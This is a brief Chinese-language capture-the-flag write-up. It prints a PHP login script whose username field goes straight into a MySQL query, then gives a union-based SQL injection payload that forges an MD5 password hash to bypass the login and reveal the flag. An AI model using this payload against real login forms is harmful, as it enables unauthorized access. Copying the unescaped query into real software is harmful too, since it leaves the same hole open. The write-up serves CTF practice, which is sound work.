源码如下：

```php
<?php
 show_source("17.php");
   echo '<br>';
if($_POST[user] && $_POST[pass]) {
require 'flag.php';
error_reporting(0);
require 'config.php';
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
   $query = @mysql_fetch_array(mysql_query("SELECT pwd FROM userinfo WHERE uname='$user'"));
   if (($query['pwd']) && (!strcasecmp($pass, $query['pwd']))) {

       echo "<p>Logged in! Key: $flag";
   }
   else {
     echo("<p>Log in failure!</p>");
   }
   mysql_close($con);
}
?>
```

仔细阅读源码，可以发现未对sql语句的传入做出防护，而后面的验证还比较严密，所以这里需要对传入的user变量进行构造。

payload

```
user=' or 1=0 union select 'e10adc3949ba59abbe56e057f20f883e'#&pass=123456
```